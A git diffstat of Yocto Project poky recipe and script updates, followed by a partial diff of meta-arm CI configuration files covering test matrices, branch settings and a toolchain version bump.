-rw-r--r--poky/meta/recipes-core/glib-2.0/glib-2.0_2.78.1.bb (renamed from poky/meta/recipes-core/glib-2.0/glib-2.0_2.78.0.bb)2
-rw-r--r--poky/meta/recipes-core/glib-2.0/glib.inc5
-rw-r--r--poky/meta/recipes-core/glib-networking/glib-networking_2.76.1.bb1
-rw-r--r--poky/meta/recipes-core/glibc/glibc-package.inc8
-rw-r--r--poky/meta/recipes-core/images/build-appliance-image_15.0.0.bb2
-rw-r--r--poky/meta/recipes-core/libxml/libxml2_2.11.5.bb4
-rw-r--r--poky/meta/recipes-core/musl/gcompat/0001-Add-fcntl64-wrapper.patch44
-rw-r--r--poky/meta/recipes-core/musl/gcompat/0001-auxv-new-module.patch59
-rw-r--r--poky/meta/recipes-core/musl/gcompat_git.bb8
-rw-r--r--poky/meta/recipes-core/ovmf/ovmf_git.bb2
-rw-r--r--poky/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb4
-rw-r--r--poky/meta/recipes-core/systemd/systemd.inc3
-rw-r--r--poky/meta/recipes-core/systemd/systemd_254.4.bb71
-rw-r--r--poky/meta/recipes-core/udev/udev-extraconf/mount.sh15
-rw-r--r--poky/meta/recipes-core/volatile-binds/files/volatile-binds.service.in3
-rw-r--r--poky/meta/recipes-core/volatile-binds/volatile-binds.bb18
-rw-r--r--poky/meta/recipes-core/zlib/zlib_1.3.bb2
-rw-r--r--poky/meta/recipes-devtools/btrfs-tools/btrfs-tools_6.5.3.bb (renamed from poky/meta/recipes-devtools/btrfs-tools/btrfs-tools_6.5.1.bb)2
-rw-r--r--poky/meta/recipes-devtools/cdrtools/cdrtools-native_3.01.bb9
-rw-r--r--poky/meta/recipes-devtools/cdrtools/cdrtools/riscv64-linux-gcc.rul65
-rw-r--r--poky/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Move-cr_compress_groupfile-outside-WITH_LIBMODULEMD.patch46
-rw-r--r--poky/meta/recipes-devtools/createrepo-c/createrepo-c/time64fix.patch69
-rw-r--r--poky/meta/recipes-devtools/createrepo-c/createrepo-c_1.0.2.bb (renamed from poky/meta/recipes-devtools/createrepo-c/createrepo-c_1.0.0.bb)4
-rw-r--r--poky/meta/recipes-devtools/dnf/dnf_4.18.1.bb (renamed from poky/meta/recipes-devtools/dnf/dnf_4.17.0.bb)2
-rw-r--r--poky/meta/recipes-devtools/git/git_2.42.1.bb (renamed from poky/meta/recipes-devtools/git/git_2.42.0.bb)2
-rw-r--r--poky/meta/recipes-devtools/go/go-cross-canadian.inc2
-rw-r--r--poky/meta/recipes-devtools/libcomps/libcomps/0001-libcomps-Use-Py_hash_t-instead-of-long-in-PyCOMPS_ha.patch66
-rw-r--r--poky/meta/recipes-devtools/libcomps/libcomps_0.1.20.bb (renamed from poky/meta/recipes-devtools/libcomps/libcomps_0.1.19.bb)3
-rw-r--r--poky/meta/recipes-devtools/libdnf/libdnf/armarch.patch42
-rw-r--r--poky/meta/recipes-devtools/libdnf/libdnf_0.72.0.bb (renamed from poky/meta/recipes-devtools/libdnf/libdnf_0.71.0.bb)3
-rw-r--r--poky/meta/recipes-devtools/llvm/llvm_git.bb4
-rw-r--r--poky/meta/recipes-devtools/meson/meson_1.2.2.bb2
-rw-r--r--poky/meta/recipes-devtools/mmc/mmc-utils_git.bb2
-rw-r--r--poky/meta/recipes-devtools/perl/files/0001-Fix-intermittent-failure-of-test-t-op-sigsystem.t.patch77
-rw-r--r--poky/meta/recipes-devtools/perl/perl_5.38.0.bb1
-rw-r--r--poky/meta/recipes-devtools/python/python-testtools.inc2
-rw-r--r--poky/meta/recipes-devtools/python/python3-babel_2.13.1.bb (renamed from poky/meta/recipes-devtools/python/python3-babel_2.12.1.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-beartype_0.16.4.bb (renamed from poky/meta/recipes-devtools/python/python3-beartype_0.15.0.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-cffi_1.16.0.bb (renamed from poky/meta/recipes-devtools/python/python3-cffi_1.15.1.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-cryptography-vectors_41.0.5.bb (renamed from poky/meta/recipes-devtools/python/python3-cryptography-vectors_41.0.4.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-cryptography_41.0.5.bb (renamed from poky/meta/recipes-devtools/python/python3-cryptography_41.0.4.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-cython_0.29.36.bb18
-rw-r--r--poky/meta/recipes-devtools/python/python3-git_3.1.40.bb (renamed from poky/meta/recipes-devtools/python/python3-git_3.1.36.bb)4
-rw-r--r--poky/meta/recipes-devtools/python/python3-gitdb_4.0.11.bb (renamed from poky/meta/recipes-devtools/python/python3-gitdb_4.0.10.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-hatch-vcs_0.4.0.bb (renamed from poky/meta/recipes-devtools/python/python3-hatch-vcs_0.3.0.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-hypothesis_6.89.0.bb (renamed from poky/meta/recipes-devtools/python/python3-hypothesis_6.86.2.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-iso8601_2.1.0.bb (renamed from poky/meta/recipes-devtools/python/python3-iso8601_2.0.0.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-mako_1.3.0.bb (renamed from poky/meta/recipes-devtools/python/python3-mako_1.2.4.bb)4
-rw-r--r--poky/meta/recipes-devtools/python/python3-markdown_3.5.bb (renamed from poky/meta/recipes-devtools/python/python3-markdown_3.4.4.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-numpy_1.26.2.bb (renamed from poky/meta/recipes-devtools/python/python3-numpy_1.26.0.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-packaging_23.2.bb (renamed from poky/meta/recipes-devtools/python/python3-packaging_23.1.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-pbr_5.11.1.bb4
-rw-r--r--poky/meta/recipes-devtools/python/python3-pbr_6.0.0.bb4
-rw-r--r--poky/meta/recipes-devtools/python/python3-pip_23.3.1.bb (renamed from poky/meta/recipes-devtools/python/python3-pip_23.2.1.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-poetry-core_1.8.1.bb (renamed from poky/meta/recipes-devtools/python/python3-poetry-core_1.7.0.bb)9
-rw-r--r--poky/meta/recipes-devtools/python/python3-psutil_5.9.6.bb (renamed from poky/meta/recipes-devtools/python/python3-psutil_5.9.5.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-pycairo_1.25.1.bb (renamed from poky/meta/recipes-devtools/python/python3-pycairo_1.24.0.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-pygobject_3.46.0.bb1
-rw-r--r--poky/meta/recipes-devtools/python/python3-pyopenssl_23.3.0.bb (renamed from poky/meta/recipes-devtools/python/python3-pyopenssl_23.2.0.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-pyrsistent_0.20.0.bb (renamed from poky/meta/recipes-devtools/python/python3-pyrsistent_0.19.3.bb)4
-rw-r--r--poky/meta/recipes-devtools/python/python3-pytest_7.4.3.bb (renamed from poky/meta/recipes-devtools/python/python3-pytest_7.4.2.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-ruamel-yaml_0.17.35.bb (renamed from poky/meta/recipes-devtools/python/python3-ruamel-yaml_0.17.32.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-setuptools-rust_1.8.1.bb (renamed from poky/meta/recipes-devtools/python/python3-setuptools-rust_1.7.0.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-setuptools-scm_8.0.4.bb (renamed from poky/meta/recipes-devtools/python/python3-setuptools-scm_7.1.0.bb)9
-rw-r--r--poky/meta/recipes-devtools/python/python3-spdx-tools_0.8.2.bb (renamed from poky/meta/recipes-devtools/python/python3-spdx-tools_0.8.1.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-testtools_2.7.1.bb (renamed from poky/meta/recipes-devtools/python/python3-testtools_2.6.0.bb)0
-rw-r--r--poky/meta/recipes-devtools/python/python3-trove-classifiers_2023.11.14.bb (renamed from poky/meta/recipes-devtools/python/python3-trove-classifiers_2023.9.19.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-urllib3_2.0.7.bb (renamed from poky/meta/recipes-devtools/python/python3-urllib3_2.0.5.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-wcwidth_0.2.9.bb (renamed from poky/meta/recipes-devtools/python/python3-wcwidth_0.2.6.bb)2
-rw-r--r--poky/meta/recipes-devtools/python/python3-wheel_0.41.3.bb (renamed from poky/meta/recipes-devtools/python/python3-wheel_0.41.2.bb)2
-rw-r--r--poky/meta/recipes-devtools/qemu/qemu-native_8.1.2.bb (renamed from poky/meta/recipes-devtools/qemu/qemu-native_8.1.0.bb)0
-rw-r--r--poky/meta/recipes-devtools/qemu/qemu-system-native_8.1.2.bb (renamed from poky/meta/recipes-devtools/qemu/qemu-system-native_8.1.0.bb)0
-rw-r--r--poky/meta/recipes-devtools/qemu/qemu.inc8
-rw-r--r--poky/meta/recipes-devtools/qemu/qemu/0001-CVE-2023-40360-hw-nvme-fix-null-pointer-access-in-di.patch39
-rw-r--r--poky/meta/recipes-devtools/qemu/qemu/0001-softmmu-Assert-data-in-bounds-in-iotlb_to_section.patch42
-rw-r--r--poky/meta/recipes-devtools/qemu/qemu/0001-softmmu-Use-async_run_on_cpu-in-tcg_commit.patch157
-rw-r--r--poky/meta/recipes-devtools/qemu/qemu/CVE-2023-42467.patch49
-rw-r--r--poky/meta/recipes-devtools/qemu/qemu_8.1.2.bb (renamed from poky/meta/recipes-devtools/qemu/qemu_8.1.0.bb)0
-rw-r--r--poky/meta/recipes-devtools/repo/repo_2.37.bb (renamed from poky/meta/recipes-devtools/repo/repo_2.36.1.bb)2
-rw-r--r--poky/meta/recipes-devtools/rust/cargo_1.70.0.bb2
-rw-r--r--poky/meta/recipes-devtools/rust/rust-cross-canadian.inc7
-rw-r--r--poky/meta/recipes-devtools/rust/rust-llvm_1.70.0.bb11
-rw-r--r--poky/meta/recipes-devtools/strace/strace/ptest-spacesave.patch2
-rw-r--r--poky/meta/recipes-devtools/strace/strace/skip-test-so_peerpidfd.gen.test.patch25
-rw-r--r--poky/meta/recipes-devtools/strace/strace_6.6.bb (renamed from poky/meta/recipes-devtools/strace/strace_6.5.bb)5
-rw-r--r--poky/meta/recipes-devtools/valgrind/valgrind_3.21.0.bb18
-rw-r--r--poky/meta/recipes-extended/acpica/acpica_20230628.bb4
-rw-r--r--poky/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb2
-rw-r--r--poky/meta/recipes-extended/bash/bash_5.2.21.bb (renamed from poky/meta/recipes-extended/bash/bash_5.2.15.bb)2
-rw-r--r--poky/meta/recipes-extended/cronie/cronie_1.7.0.bb (renamed from poky/meta/recipes-extended/cronie/cronie_1.6.1.bb)2
-rw-r--r--poky/meta/recipes-extended/cups/cups.inc8
-rw-r--r--poky/meta/recipes-extended/cups/cups/CVE-2023-4504.patch42
-rw-r--r--poky/meta/recipes-extended/cups/cups_2.4.7.bb (renamed from poky/meta/recipes-extended/cups/cups_2.4.6.bb)2
-rw-r--r--poky/meta/recipes-extended/ghostscript/ghostscript_10.02.1.bb (renamed from poky/meta/recipes-extended/ghostscript/ghostscript_10.02.0.bb)5
-rw-r--r--poky/meta/recipes-extended/libarchive/libarchive_3.7.2.bb1
-rw-r--r--poky/meta/recipes-extended/libnsl/libnsl2_git.bb4
-rw-r--r--poky/meta/recipes-extended/libsolv/libsolv_0.7.26.bb (renamed from poky/meta/recipes-extended/libsolv/libsolv_0.7.25.bb)2
-rw-r--r--poky/meta/recipes-extended/libtirpc/libtirpc/ipv6.patch52
-rw-r--r--poky/meta/recipes-extended/libtirpc/libtirpc_1.3.4.bb (renamed from poky/meta/recipes-extended/libtirpc/libtirpc_1.3.3.bb)11
-rw-r--r--poky/meta/recipes-extended/lighttpd/lighttpd/lighttpd19
-rw-r--r--poky/meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf38
-rw-r--r--poky/meta/recipes-extended/lighttpd/lighttpd_1.4.73.bb (renamed from poky/meta/recipes-extended/lighttpd/lighttpd_1.4.71.bb)2
-rw-r--r--poky/meta/recipes-extended/lsb/lsb-release_1.4.bb3
-rw-r--r--poky/meta/recipes-extended/ltp/ltp_20230929.bb (renamed from poky/meta/recipes-extended/ltp/ltp_20230516.bb)2
-rw-r--r--poky/meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch16
-rw-r--r--poky/meta/recipes-extended/man-db/man-db_2.11.2.bb7
-rw-r--r--poky/meta/recipes-extended/msmtp/msmtp_1.8.25.bb (renamed from poky/meta/recipes-extended/msmtp/msmtp_1.8.24.bb)2
-rw-r--r--poky/meta/recipes-extended/newt/libnewt_0.52.24.bb (renamed from poky/meta/recipes-extended/newt/libnewt_0.52.23.bb)2
-rw-r--r--poky/meta/recipes-extended/pam/libpam_1.5.3.bb9
-rw-r--r--poky/meta/recipes-extended/stress-ng/stress-ng_0.17.01.bb (renamed from poky/meta/recipes-extended/stress-ng/stress-ng_0.16.05.bb)2
-rw-r--r--poky/meta/recipes-extended/sudo/sudo_1.9.15p2.bb (renamed from poky/meta/recipes-extended/sudo/sudo_1.9.14p3.bb)2
-rw-r--r--poky/meta/recipes-extended/sysstat/sysstat_12.7.4.bb10
-rw-r--r--poky/meta/recipes-gnome/epiphany/epiphany_44.6.bb1
-rw-r--r--poky/meta/recipes-gnome/gcr/gcr_4.1.0.bb1
-rw-r--r--poky/meta/recipes-gnome/gnome/adwaita-icon-theme_45.0.bb1
-rw-r--r--poky/meta/recipes-gnome/gnome/gconf_3.2.6.bb1
-rw-r--r--poky/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_45.0.bb (renamed from poky/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_44.0.bb)3
-rw-r--r--poky/meta/recipes-gnome/gtk+/gtk+3.inc2
-rw-r--r--poky/meta/recipes-gnome/gtk+/gtk4_4.12.3.bb2
-rw-r--r--poky/meta/recipes-gnome/gtk-doc/gtk-doc_1.33.2.bb1
-rw-r--r--poky/meta/recipes-gnome/json-glib/json-glib_1.6.6.bb1
-rw-r--r--poky/meta/recipes-gnome/libadwaita/libadwaita_1.4.0.bb1
-rw-r--r--poky/meta/recipes-gnome/libdazzle/libdazzle_3.44.0.bb1
-rw-r--r--poky/meta/recipes-gnome/libgudev/libgudev_238.bb1
-rw-r--r--poky/meta/recipes-gnome/libnotify/libnotify_0.8.3.bb (renamed from poky/meta/recipes-gnome/libnotify/libnotify_0.8.2.bb)3
-rw-r--r--poky/meta/recipes-gnome/librsvg/librsvg/0001-Add-riscv32-support.patch1511
-rw-r--r--poky/meta/recipes-gnome/librsvg/librsvg_2.56.3.bb3
-rw-r--r--poky/meta/recipes-gnome/libsecret/libsecret_0.21.1.bb1
-rw-r--r--poky/meta/recipes-graphics/drm/libdrm_2.4.117.bb (renamed from poky/meta/recipes-graphics/drm/libdrm_2.4.116.bb)2
-rw-r--r--poky/meta/recipes-graphics/glslang/glslang_1.3.268.0.bb (renamed from poky/meta/recipes-graphics/glslang/glslang_1.3.261.1.bb)6
-rw-r--r--poky/meta/recipes-graphics/graphene/graphene_1.10.8.bb1
-rw-r--r--poky/meta/recipes-graphics/harfbuzz/harfbuzz_8.3.0.bb (renamed from poky/meta/recipes-graphics/harfbuzz/harfbuzz_8.2.1.bb)2
-rw-r--r--poky/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb2
-rw-r--r--poky/meta/recipes-graphics/jpeg/libjpeg-turbo_3.0.1.bb (renamed from poky/meta/recipes-graphics/jpeg/libjpeg-turbo_3.0.0.bb)4
-rw-r--r--poky/meta/recipes-graphics/libsdl2/libsdl2_2.28.5.bb (renamed from poky/meta/recipes-graphics/libsdl2/libsdl2_2.28.3.bb)2
-rw-r--r--poky/meta/recipes-graphics/libva/libva-initial_2.20.0.bb (renamed from poky/meta/recipes-graphics/libva/libva-initial_2.19.0.bb)0
-rw-r--r--poky/meta/recipes-graphics/libva/libva.inc2
-rw-r--r--poky/meta/recipes-graphics/libva/libva_2.20.0.bb (renamed from poky/meta/recipes-graphics/libva/libva_2.19.0.bb)0
-rw-r--r--poky/meta/recipes-graphics/pango/pango_1.51.0.bb1
-rw-r--r--poky/meta/recipes-graphics/shaderc/shaderc_2023.7.bb (renamed from poky/meta/recipes-graphics/shaderc/shaderc_2023.6.bb)2
-rw-r--r--poky/meta/recipes-graphics/spir/spirv-headers_1.3.268.0.bb (renamed from poky/meta/recipes-graphics/spir/spirv-headers_1.3.261.1.bb)3
-rw-r--r--poky/meta/recipes-graphics/spir/spirv-tools_1.3.268.0.bb (renamed from poky/meta/recipes-graphics/spir/spirv-tools_1.3.261.1.bb)3
-rw-r--r--poky/meta/recipes-graphics/vulkan/vulkan-headers_1.3.268.0.bb (renamed from poky/meta/recipes-graphics/vulkan/vulkan-headers_1.3.261.1.bb)5
-rw-r--r--poky/meta/recipes-graphics/vulkan/vulkan-loader_1.3.268.0.bb (renamed from poky/meta/recipes-graphics/vulkan/vulkan-loader_1.3.261.1.bb)7
-rw-r--r--poky/meta/recipes-graphics/vulkan/vulkan-samples/0001-vulkan-samples-Fix-reproducibility-issue.patch2
-rw-r--r--poky/meta/recipes-graphics/vulkan/vulkan-samples_git.bb2
-rw-r--r--poky/meta/recipes-graphics/vulkan/vulkan-tools_1.3.268.0.bb (renamed from poky/meta/recipes-graphics/vulkan/vulkan-tools_1.3.261.1.bb)3
-rw-r--r--poky/meta/recipes-graphics/vulkan/vulkan-utility-libraries_1.3.268.0.bb33
-rw-r--r--poky/meta/recipes-graphics/vulkan/vulkan-validation-layers_1.3.268.0.bb (renamed from poky/meta/recipes-graphics/vulkan/vulkan-validation-layers_1.3.261.1.bb)9
-rw-r--r--poky/meta/recipes-graphics/xorg-lib/pixman_0.42.2.bb2
-rw-r--r--poky/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.40.bb (renamed from poky/meta/recipes-graphics/xorg-lib/xkeyboard-config_2.39.bb)4
-rw-r--r--poky/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.9.bb (renamed from poky/meta/recipes-graphics/xorg-xserver/xserver-xorg_21.1.8.bb)2
-rw-r--r--poky/meta/recipes-graphics/xwayland/xwayland_23.2.2.bb (renamed from poky/meta/recipes-graphics/xwayland/xwayland_23.2.1.bb)2
-rw-r--r--poky/meta/recipes-kernel/kern-tools/kern-tools-native_git.bb2
-rw-r--r--poky/meta/recipes-kernel/kmod/kmod_31.bb (renamed from poky/meta/recipes-kernel/kmod/kmod_30.bb)2
-rw-r--r--poky/meta/recipes-kernel/linux-firmware/linux-firmware_20231030.bb (renamed from poky/meta/recipes-kernel/linux-firmware/linux-firmware_20230804.bb)288
-rw-r--r--poky/meta/recipes-kernel/linux/cve-exclusion_6.1.inc68
-rw-r--r--poky/meta/recipes-kernel/linux/cve-exclusion_6.4.inc5072
-rw-r--r--poky/meta/recipes-kernel/linux/cve-exclusion_6.5.inc78
-rw-r--r--poky/meta/recipes-kernel/linux/linux-yocto-rt_6.1.bb6
-rw-r--r--poky/meta/recipes-kernel/linux/linux-yocto-rt_6.4.bb48
-rw-r--r--poky/meta/recipes-kernel/linux/linux-yocto-rt_6.5.bb8
-rw-r--r--poky/meta/recipes-kernel/linux/linux-yocto-tiny_6.1.bb6
-rw-r--r--poky/meta/recipes-kernel/linux/linux-yocto-tiny_6.4.bb33
-rw-r--r--poky/meta/recipes-kernel/linux/linux-yocto-tiny_6.5.bb8
-rw-r--r--poky/meta/recipes-kernel/linux/linux-yocto.inc5
-rw-r--r--poky/meta/recipes-kernel/linux/linux-yocto_6.1.bb28
-rw-r--r--poky/meta/recipes-kernel/linux/linux-yocto_6.4.bb72
-rw-r--r--poky/meta/recipes-kernel/linux/linux-yocto_6.5.bb30
-rw-r--r--poky/meta/recipes-kernel/perf/perf.bb20
-rw-r--r--poky/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-avcodec-x86-mathops-clip-constants-used-with-shift-i.patch77
-rw-r--r--poky/meta/recipes-multimedia/ffmpeg/ffmpeg/0001-libswscale-riscv-Fix-syntax-of-vsetvli.patch35
-rw-r--r--poky/meta/recipes-multimedia/ffmpeg/ffmpeg_6.1.bb (renamed from poky/meta/recipes-multimedia/ffmpeg/ffmpeg_6.0.bb)8
-rw-r--r--poky/meta/recipes-multimedia/gstreamer/gst-devtools_1.22.7.bb (renamed from poky/meta/recipes-multimedia/gstreamer/gst-devtools_1.22.6.bb)2
-rw-r--r--poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.22.7.bb (renamed from poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-libav_1.22.6.bb)2
-rw-r--r--poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.22.7.bb (renamed from poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-omx_1.22.6.bb)2
-rw-r--r--poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.22.7.bb (renamed from poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-bad_1.22.6.bb)2
-rw-r--r--poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.22.7.bb (renamed from poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-base_1.22.6.bb)2
-rw-r--r--poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.22.7.bb (renamed from poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-good_1.22.6.bb)2
-rw-r--r--poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.22.7.bb (renamed from poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-plugins-ugly_1.22.6.bb)2
-rw-r--r--poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.22.7.bb (renamed from poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-python_1.22.6.bb)2
-rw-r--r--poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.22.7.bb (renamed from poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-rtsp-server_1.22.6.bb)2
-rw-r--r--poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.22.7.bb (renamed from poky/meta/recipes-multimedia/gstreamer/gstreamer1.0-vaapi_1.22.6.bb)2
-rw-r--r--poky/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.22.7.bb (renamed from poky/meta/recipes-multimedia/gstreamer/gstreamer1.0_1.22.6.bb)2
-rw-r--r--poky/meta/recipes-multimedia/libsndfile/libsndfile1/cve-2022-33065.patch739
-rw-r--r--poky/meta/recipes-multimedia/libsndfile/libsndfile1_1.2.2.bb1
-rw-r--r--poky/meta/recipes-rt/README2
-rw-r--r--poky/meta/recipes-sato/puzzles/puzzles_git.bb2
-rw-r--r--poky/meta/recipes-support/debianutils/debianutils_5.14.bb (renamed from poky/meta/recipes-support/debianutils/debianutils_5.13.bb)8
-rw-r--r--poky/meta/recipes-support/diffoscope/diffoscope_251.bb (renamed from poky/meta/recipes-support/diffoscope/diffoscope_249.bb)2
-rw-r--r--poky/meta/recipes-support/enchant/enchant2_2.6.2.bb (renamed from poky/meta/recipes-support/enchant/enchant2_2.6.1.bb)2
-rw-r--r--poky/meta/recipes-support/gpgme/gpgme_1.23.1.bb (renamed from poky/meta/recipes-support/gpgme/gpgme_1.22.0.bb)2
-rw-r--r--poky/meta/recipes-support/libcroco/files/CVE-2020-12825.patch192
-rw-r--r--poky/meta/recipes-support/libcroco/libcroco_0.6.13.bb26
-rw-r--r--poky/meta/recipes-support/libical/libical_3.0.17.bb (renamed from poky/meta/recipes-support/libical/libical_3.0.16.bb)2
-rw-r--r--poky/meta/recipes-support/libsoup/libsoup_3.4.4.bb (renamed from poky/meta/recipes-support/libsoup/libsoup_3.4.2.bb)2
-rw-r--r--poky/meta/recipes-support/shared-mime-info/shared-mime-info_2.4.bb (renamed from poky/meta/recipes-support/shared-mime-info/shared-mime-info_git.bb)4
-rw-r--r--poky/meta/recipes-support/sqlite/sqlite3_3.44.0.bb (renamed from poky/meta/recipes-support/sqlite/sqlite3_3.43.1.bb)2
-rw-r--r--poky/meta/recipes-support/vim/vim.inc20
-rw-r--r--poky/meta/recipes-support/vte/vte_0.72.2.bb1
-rwxr-xr-xpoky/scripts/bitbake-whatchanged318
-rwxr-xr-xpoky/scripts/contrib/bb-perf/bb-matrix-plot.sh4
-rwxr-xr-xpoky/scripts/contrib/patchreview.py64
l---------poky/scripts/esdk-tools/devtool1
l---------poky/scripts/esdk-tools/oe-find-native-sysroot1
l---------poky/scripts/esdk-tools/recipetool1
l---------poky/scripts/esdk-tools/runqemu1
l---------poky/scripts/esdk-tools/runqemu-addptable2image1
l---------poky/scripts/esdk-tools/runqemu-export-rootfs1
l---------poky/scripts/esdk-tools/runqemu-extract-sdk1
l---------poky/scripts/esdk-tools/runqemu-gen-tapdevs1
l---------poky/scripts/esdk-tools/runqemu-ifdown1
l---------poky/scripts/esdk-tools/runqemu-ifup1
l---------poky/scripts/esdk-tools/wic1
-rw-r--r--poky/scripts/lib/checklayer/__init__.py2
-rw-r--r--poky/scripts/lib/recipetool/create.py2
-rw-r--r--poky/scripts/lib/recipetool/create_buildsys_python.py989
-rw-r--r--poky/scripts/lib/recipetool/create_go.py751
-rw-r--r--poky/scripts/lib/resulttool/regression.py61
-rwxr-xr-xpoky/scripts/patchtest225
-rwxr-xr-xpoky/scripts/patchtest-get-branch81
-rwxr-xr-xpoky/scripts/patchtest-get-series115
-rwxr-xr-xpoky/scripts/patchtest-send-results96
-rwxr-xr-xpoky/scripts/patchtest-setup-sharedir83
-rw-r--r--poky/scripts/patchtest.README156
-rwxr-xr-xpoky/scripts/runqemu4
-rwxr-xr-xpoky/scripts/yocto_testresults_query.py13
1537 files changed, 34828 insertions, 21141 deletions
diff --git a/meta-arm/.gitlab-ci.yml b/meta-arm/.gitlab-ci.yml
index 0466c096da..9dee580705 100644
--- a/meta-arm/.gitlab-ci.yml
+++ b/meta-arm/.gitlab-ci.yml
@@ -112,11 +112,13 @@ corstone1000-fvp:
parallel:
matrix:
- TESTING: [testimage, tftf]
- tags:
- - x86_64
corstone1000-mps3:
extends: .build
+ parallel:
+ matrix:
+ - TESTING: [none, tftf]
+
fvp-base:
extends: .build
@@ -148,8 +150,7 @@ n1sdp:
extends: .build
parallel:
matrix:
- - TS: [none, n1sdp-ts]
- - OPTEE: [none, n1sdp-optee]
+ - TESTING: [none, n1sdp-ts, n1sdp-optee, tftf]
qemu-generic-arm64:
extends: .build
@@ -234,7 +235,7 @@ selftest:
extends: .setup
script:
- KASFILES=./ci/qemuarm64.yml:./ci/selftest.yml:lockfile.yml
- - kas shell --update --force-checkout $KASFILES -c 'oe-selftest --num-processes 1 --run-tests runfvp'
+ - kas shell --update --force-checkout $KASFILES -c 'oe-selftest --num-processes 2 --select-tag meta-arm --run-all-tests'
# Validate layers are Yocto Project Compatible
check-layers:
@@ -254,7 +255,7 @@ pending-updates:
script:
- rm -fr update-report
# This configuration has all of the layers we need enabled
- - kas shell --update --force-checkout ci/qemuarm64.yml:ci/meta-openembedded.yml:lockfile.yml --command \
+ - kas shell --update --force-checkout ci/qemuarm64.yml:ci/meta-openembedded.yml:ci/meta-secure-core.yml:lockfile.yml --command \
"$CI_PROJECT_DIR/scripts/machine-summary.py -t report -o $CI_PROJECT_DIR/update-report $($CI_PROJECT_DIR/ci/listmachines.py meta-arm meta-arm-bsp)"
# Do this on x86 whilst the compilers are x86-only
tags:
diff --git a/meta-arm/ci/base.yml b/meta-arm/ci/base.yml
index 4296d27057..dd3ab218a8 100644
--- a/meta-arm/ci/base.yml
+++ b/meta-arm/ci/base.yml
@@ -5,7 +5,7 @@ distro: poky
defaults:
repos:
- branch: master
+ branch: nanbield
repos:
meta-arm:
diff --git a/meta-arm/ci/fvp.yml b/meta-arm/ci/fvp.yml
index 81a5caa608..e9f3fa944c 100644
--- a/meta-arm/ci/fvp.yml
+++ b/meta-arm/ci/fvp.yml
@@ -4,7 +4,7 @@ header:
local_conf_header:
testimagefvp: |
LICENSE_FLAGS_ACCEPTED += "Arm-FVP-EULA"
- INHERIT += "fvpboot"
+ IMAGE_CLASSES += "fvpboot"
failing_tests: |
# This fails but we can't add to the ignorelist from meta-arm yet
# https://bugzilla.yoctoproject.org/show_bug.cgi?id=14604
diff --git a/meta-arm/ci/fvps.yml b/meta-arm/ci/fvps.yml
index 1bced2994e..a89df05317 100644
--- a/meta-arm/ci/fvps.yml
+++ b/meta-arm/ci/fvps.yml
@@ -14,6 +14,10 @@ local_conf_header:
SDKMACHINE = "x86_64"
target:
+ # Target packages to test aarch64
+ - fvp-base-a-aem
+ - fvp-corstone1000
+ # Nativesdk to test x86-64
- nativesdk-fvp-base-a-aem
- nativesdk-fvp-corstone1000
- nativesdk-fvp-n1-edge
diff --git a/meta-arm/ci/get-binary-toolchains b/meta-arm/ci/get-binary-toolchains
index 69a4d38ec0..429cd1c5c0 100755
--- a/meta-arm/ci/get-binary-toolchains
+++ b/meta-arm/ci/get-binary-toolchains
@@ -2,7 +2,7 @@
set -u -e
BASENAME=arm-gnu-toolchain
-VER=${VER:-12.2.rel1}
+VER=${VER:-13.2.Rel1}
HOST_ARCH=${HOST_ARCH:-$(uname -m)}
# Use the standard kas container locations if nothing is passed into the script
diff --git a/meta-arm/ci/poky-tiny.yml b/meta-arm/ci/poky-tiny.yml
index d869c55726..f17630106e 100644
--- a/meta-arm/ci/poky-tiny.yml
